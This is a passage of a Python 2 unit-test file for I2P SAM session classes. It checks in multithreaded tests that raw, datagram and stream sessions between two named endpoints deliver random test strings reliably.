m = 40 # Each thread sends m packets
global __done_count
__done_count = 0
__lock = threading.Lock()
# Use C and D to send and read in many different threads.
def f():
# This code is run in each separate thread
global C_recv, D_recv, C_got, D_got, __lock, __done_count
for i in range(m):
# Random binary string of length 2-80.
index_list = range(random.randrange(2, 80))
s = ''.join([chr(random.randrange(256)) for j in index_list])
if random.randrange(2) == 0:
# Send packet from C to D, and log it.
C.send(s, D.dest)
__lock.acquire()
D_recv += [s]
__lock.release()
else:
# Send packet from D to C, and log it.
D.send(s, C.dest)
__lock.acquire()
C_recv += [s]
__lock.release()
time.sleep(0.01*random.uniform(0.0,1.0))
# Read any available packets.
try: (p, fromaddr) = C.recv(timeout=0.0)
except socket.BlockError: p = None
if p != None and not raw: assert fromaddr == D.dest
__lock.acquire()
if p != None: C_got += [p]
__lock.release()
try: (p, fromaddr) = D.recv(timeout=0.0)
except socket.BlockError: p = None
if p != None and not raw: assert fromaddr == C.dest
__lock.acquire()
if p != None: D_got += [p]
__lock.release()
__lock.acquire()
__done_count += 1
__lock.release()
# Create n threads.
for i in range(n):
threading.Thread(target=f).start()
# Wait for them to finish.
while __done_count < n: time.sleep(0.01)
# Read any left-over received packets.
end_time = time.time() + multithread_wait_time
while time.time() < end_time:
# Read any available packets.
try: (p, fromaddr) = C.recv(timeout=0.0)
except socket.BlockError: p = None
if p != None and not raw: assert fromaddr == D.dest
if p != None: C_got += [p]
try: (p, fromaddr) = D.recv(timeout=0.0)
except socket.BlockError: p = None
if p != None and not raw: assert fromaddr == C.dest
if p != None: D_got += [p]
if len(C_got) == len(C_recv) and len(D_got) == len(D_recv):
break
if time.time() >= end_time:
may_need_increase = True
C_got.sort()
D_got.sort()
C_recv.sort()
D_recv.sort()
assert C_got == C_recv
assert D_got == D_recv
C.close()
D.close()
except:
if raw:
print 'Unit test failed for samclasses.RawSession ' + \
'(multithreaded).'
print 'Raw packets are not reliable.'
else:
print 'Unit test failed for samclasses.DatagramSession ' + \
'(multithreaded).'
print 'Datagram packets are not reliable.'
if may_need_increase:
print 'Try increasing multithread_wait_time.'
traceback.print_exc(); sys.exit()
if raw:
test_passed('samclasses.RawSession (multithreaded)')
else:
test_passed('samclasses.DatagramSession (multithreaded)')
def multithread_stream_test():
"""Multithreaded unit test for samclasses.StreamSession."""
try:
multithread_wait_time = 200.0
may_need_increase = False
C = samclasses.StreamSession('Carol', in_depth=0, out_depth=0)
D = samclasses.StreamSession('Dave', in_depth=0, out_depth=0)
C.listen(10)
D.listen(10)
Cout = C.connect(D.dest)
Dout = D.connect(C.dest)
Cin = C.accept()
Din = D.accept()
global C_recv, D_recv, C_got, D_got, __lock
C_recv = [] # String data C *should* receive
D_recv = [] # String data D *should* receive
C_got = [] # String data C actually got
D_got = [] # String data D actually got
n = 50 # Create n threads
m = 40 # Each thread sends m strings
global __done_count
__done_count = 0
__lock = threading.Lock()
# Use C and D to send and read in many different threads.
def f():
# This code is run in each separate thread
global C_recv, D_recv, C_got, D_got, __lock, __done_count
for i in range(m):
# Random binary string of length 2-80.
index_list = range(random.randrange(2, 80))
s = ''.join([chr(random.randrange(256)) for j in index_list])
if random.randrange(2) == 0:
# Send packet from C to D, and log it.
__lock.acquire()
Cout.send(s)
D_recv += [s]
__lock.release()
else:
# Send packet from D to C, and log it.
__lock.acquire()
Dout.send(s)
C_recv += [s]
__lock.release()
time.sleep(0.01*random.uniform(0.0,1.0))
# Read any available string data, non-blocking.
__lock.acquire()
try: p = Cin.recv(100000, timeout=0.0)
except socket.BlockError: p = None
if p != None: C_got += [p]
__lock.release()
__lock.acquire()
try: p = Din.recv(100000, timeout=0.0)
except socket.BlockError: p = None
if p != None: D_got += [p]
__lock.release()
__lock.acquire()
__done_count += 1
__lock.release()
# Create n threads.
for i in range(n):
threading.Thread(target=f).start()
# Wait for them to finish.
while __done_count < n: time.sleep(0.01)
# Read any left-over received string data.
end_time = time.time() + multithread_wait_time
while time.time() < end_time:
# Read any available string data, non-blocking.
try: p = Cin.recv(100000, timeout=0.0)
except socket.BlockError: p = None
if p != None: C_got += [p]
try: p = Din.recv(100000, timeout=0.0)
except socket.BlockError: p = None
if p != None: D_got += [p]
if len(''.join(C_got)) == len(''.join(C_recv)) and \
len(''.join(D_got)) == len(''.join(D_recv)):
break
if time.time() >= end_time:
may_need_increase = True
C_got = ''.join(C_got)
D_got = ''.join(D_got)
C_recv = ''.join(C_recv)
D_recv = ''.join(D_recv)
assert C_got == C_recv
assert D_got == D_recv
Cin.close()
Din.close()
Cout.close()
Dout.close()
C.close()
D.close()
except:
print 'Unit test failed for samclasses.StreamSession ' + \
'(multithreaded).'
if may_need_increase:
print 'Try increasing multithread_wait_time.'
traceback.print_exc(); sys.exit()
test_passed('samclasses.StreamSession (multithreaded)')
def test():
print 'Tests may take several minutes each.'
print 'If the network is unreliable, tests will fail.'
print 'A test only needs to pass once to be considered successful.'
print
print 'Testing:'
raw_test1()
datagram_test1()
stream_test1()
stream_test2()
multithread_packet_test(raw=True)
multithread_stream_test()
# Note: The datagram unit test fails, but it's apparently I2P's
# fault (the code is the same as for raw packets, and the SAM
# bridge is sent all the relevant data).
# Code: multithread_packet_test(raw=False)
if __name__ == '__main__':
test()

Some files were not shown because too many files have changed in this diff Show More